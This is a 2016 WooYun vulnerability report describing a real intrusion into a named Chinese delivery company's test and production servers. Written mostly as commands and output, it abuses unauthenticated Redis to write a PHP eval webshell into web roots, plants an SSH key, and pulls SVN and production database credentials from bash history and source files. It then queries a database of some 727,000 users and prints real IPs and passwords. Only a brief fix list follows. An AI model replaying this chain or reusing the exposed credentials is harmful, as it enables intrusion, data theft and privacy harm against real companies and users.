当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190292

漏洞标题:蓝犀牛配置不当导致getshell可获取源码与用户/司机/订单信息(组合漏洞利用案例)

相关厂商:蓝犀牛

漏洞作者: 路人甲

提交时间:2016-03-29 10:32

修复时间:2016-05-13 10:40

公开时间:2016-05-13 10:40

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

用心写漏洞详情~
拿到主站shell + 测试站shell + 线上数据库~
顺便欢迎新厂商~

详细说明:

公司地址:

http://lanxiniu.com/


公司简介:

北京蓝犀牛信息技术有限公司是一家提供同城直送服务的互联网公司,用技术手段为客户提供便捷的运输体验,
客户可以在线下单立即用车,城区2个小时内送达;
同时我们有严格的司机审核标准及培训认证机制使得整个服务得到保证;按照公里数计费模式让价格更实惠并可提前预知费用。
蓝犀牛的团队主要由阿里巴巴、百度、中国移动、亚马逊等资深员工组成,在这里大家都喜欢高效,自动性强,创新的互联网文化,
在这里大家拒绝平庸,人人平等,并享受工作带来的乐趣。


漏洞描述:

1. 公网测试服务器配置不当,同时运行redis和大量web服务,且redis未授权访问,web服务页面报错泄露web目录,利用redis可写webshell。
2. web服务运行用户可远程ssh登录,拿完webshell后,写入public key,可直接远程登录服务器。
3. 测试服务器上运行svn server,可获取源码,代码中包含线上数据库帐号密码,可通过测试服务器ssh通道,直接连接线上数据库
4. 可通过测试服务器连接线上服务器redis服务(内网),从svn代码 或 www站 phpinfo 可获取web目录,写入webshell
等等

漏洞证明:

漏洞发现过程
信息收集
利用theHarvester 或 lijiejie的 subDomainsBrute收集域名和IP信息
命令

python subDomainsBrute.py lanxiniu.com
python theHarvester.py -d lanxiniu.com -b all


结果汇总

- test.lanxiniu.com             115.29.34.206
- img02.lanxiniu.com 123.57.91.42
- pop.lanxiniu.com 211.150.82.7, 211.150.82.8
- imap.lanxiniu.com 211.150.84.8
- smtp.lanxiniu.com 211.150.65.49, 211.150.65.22, 211.150.65.81
- dr.lanxiniu.com 123.57.91.42
- bms.lanxiniu.com 123.57.44.131
- www.lanxiniu.com 112.126.74.238


这里注意到有一个test的测试站点,可能会有突破口

test.lanxiniu.com


1.png


对对应的ip 115.29.34.206 进行端口扫描

nmap -p 1-65535 -T4 -A -v 112.126.74.238


发现运行了很多服务,比如ssh、mysql、redis、svn server和百来个nginx web服务器,这里列出一些重要的

PORT      STATE SERVICE   VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
3306/tcp open mysql MySQL 5.1.66-log
3690/tcp open svnserve Subversion
6379/tcp open redis Redis key-value store
7084/tcp open http nginx 1.2.9
8094/tcp open http nginx 1.2.9
...
20052/tcp open http nginx 1.2.9
...


看到redis 和 ssh服务器,首先想到redis写public key到/root/.ssh/authorized_keys,然后用private key登录
下一个redis desktop manager或 安装redis 用cli连接,执行

test.lanxixiu.com:0>config set dir /root/.ssh/
ERR Changing directory: Permission denied


发现redis并不是以root用户运行的,pass掉
因为服务器上还运行着很多web服务,我们试试看能不能redis写个shell,但是得需要知道web目录
接着试了几个,发现访问下面这个地址直接报错

http://115.29.34.206:7084/


dir.png


得到web目录地址

/alidata1/search/nginx/html/kangle/lanxiniu.3.4.2/


redis写shell,因为是测试环境,所以执行了flushall,sorry~

test.lanxixiu.com:0>config set dir /alidata1/search/nginx/html/kangle/lanxiniu.3.4.2/
OK
test.lanxixiu.com:0>flushall
OK
test.lanxixiu.com:0>config set dbfilename "wooyuntest.php"
OK
test.lanxixiu.com:0>set 1 "<?php @eval($_POST['wooyun']);?>?"
OK
test.lanxixiu.com:0>save
OK


访问

http://115.29.34.206:7084/wooyuntest.php


写入成功

shell.png


当前用户:

[/alidata1/search/nginx/html/kangle/lanxiniu.3.4.2/]$ whoami
search


因为运行了ssh,查看下能不能远程登录

[/alidata1/search/nginx/html/kangle/lanxiniu.3.4.2/]$ cat /etc/passwd | grep search
search:x:500:500::/alidata1/search:/bin/bash


发现可以,写一个public key到 /alidata1/search/.ssh/authorized_keys 里,key如下

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuue7Rw6JhxAfdksLquycqATYn7Buo2o9vwZfgUjMhHceNpmI2cDZzIfDUUwPSZspoe6akFO7yav8ORSIODfxl/0gH5SbKFkERBKMxIBPJxvYAAMzg85NUEOj/H5/E1/FCQI6Iats3F0TnPdUTf75j01/4iFDSpsIyl8c0OMv0GmkNOdVvuWDZUfLbmskjrnqWLVnydknMExI8vmkFBDfq3sTqHUsKvjUVqIKV57qGVhRWVjaEV6qcwMKpZB3hnxHrFz2lBQysmZlaoSjKFsdgKKaDW0j7t1xsvvGhWULNv7F1RfXTewNT4Dp2dZpsZElWbrhkgQA8+3Y96bmYGef3


成功远程登录~

root@kali:~/.ssh/keys# ssh [email protected] -i ~/.ssh/keys/id_rsa
Last login: Tue Mar 29 00:10:08 2016 from xxxxxxxx
Welcome to aliyun Elastic Compute Service!
[search@AY1311210945238911a3Z ~]$


查看下.bashhistory,里面有svn帐号密码

cat /alidata1/search/.bash_history
...
svn update --username fangjingchao --password fangjingchao0828
svn up --username=yangwenshan --password=yangwenshan@lxn
svn up --username=cuijinfeng --password=cuijinfeng\(1228
...


因为前面发现外网开了svn server,下个TortoiseSVN,尝试连接

svn://115.29.34.206


报了个

Authorization failed


svn_error.png


搜了下是svn server配置的问题,导致无法访问
再看了下bash_history,找到一个可以访问的路径

svn://svn.lanxiniu.cn/app/lanxiniu/branches


源码到手了

svn_branch.png


接着在nginx部署的web项目下翻了翻,在 /alidata1/search/nginx/html/fangjingchao/tools/bi_count.py 找到了线上数据库帐号密码

#_host="10.140.106.40"; #test
_host="10.140.77.199"; #online
#_host="115.29.34.206";
_user="lanxiniu";
#_user="root";
_passwd="lanxiniu2014";
#_passwd="root@lxn";
_db="lanxiniu";
#_db="Lanxiniuv2_te";


但是是在内网,试了下能ping通,命令行连接试试

mysql -h 10.140.77.199 -ulanxiniu -p


成功连上

online_db.png


因为测试服务器开了ssh服务,外网可以通过ssh通道直接连接线上数据库。
176张表,user用户量72w+,剩下就不贴了

176 rows in set (0.05 sec)
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
| 727031 |
+----------+
1 row in set (0.16 sec)


这里我们成功使用redis,在测试服务器中写入了webshell,那么试一试能不能用同一个方法拿下主站?

- www.lanxiniu.com              112.126.74.238


公网telnet 112.126.74.238 6379,发现未开放redis服务
但因测试环境有redis服务,这里猜测应该是端口没有对外网开放。
想过去,测试环境和线上环境应该在同一个内网网段或者能互相访问
测试服务器上执行 telnet 112.126.74.238 6379
duang~
连上了

[search@AY1311210945238911a3Z ~]$  telnet 112.126.74.238 6379
Trying 112.126.74.238...
Connected to 112.126.74.238.
Escape character is '^]'.
config get dir
*2
$3
dir
$25
/mnt/search/service/redis


那么现在就差一个web目录了
在找到线上数据库密码的地方又翻了翻,在文件

/alidata1/search/nginx/html/lilin/lanxiniu.4.3.13.bms/tools/getMsg.sh


找到主站个地址

http://www.lanxiniu.com:7999/Login/setVerificationCode


直接访问

http://www.lanxiniu.com:7999/Login


报错了

www_dir.png


找到路径

/mnt/search/service/nginx/html/lanxiniu3.0/


不过主站也有phpinfo

phpinfo.png


好了,再来一遍~,因为是线上数据,所以这次不flushall,但是文件会很大

config set dir /mnt/search/service/nginx/html/lanxiniu3.0/
config set dbfilename "wooyuntest.php"
set 1 "<?php @eval($_POST['wooyun']);?>"
save


访问 http://lanxiniu.com/wooyuntest.php

www_shell.png


连上后,重新建了一个文件,不然访问太慢

http://lanxiniu.com/Public/js/wooyuntest.php


OK,到这里,主站、线上数据库和测试站都已经搞定了,剩下的就不继续~收工

修复方案:

1. redis禁止外网访问
2. 测试环境最好别放外面
3. 要不来一发乌云众测?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:20 (WooYun评价)